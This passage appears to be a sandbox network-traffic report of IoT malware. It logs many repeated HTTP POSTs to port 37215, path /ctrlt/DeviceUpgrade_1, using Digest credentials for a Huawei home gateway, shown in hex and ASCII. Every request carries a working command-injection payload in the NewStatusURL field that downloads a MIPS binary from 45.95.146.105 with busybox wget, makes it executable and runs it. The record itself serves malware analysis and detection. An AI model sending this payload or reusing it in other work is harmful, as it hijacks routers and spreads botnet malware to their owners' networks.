61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:14.485837936 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:42.897876024 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	46504	41.87.89.134	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:47.308401108 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	54396	94.122.82.64	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:47.309377909 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:48.797435999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:50.557184935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:54.264630079 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:01.431608915 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:15.509872913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 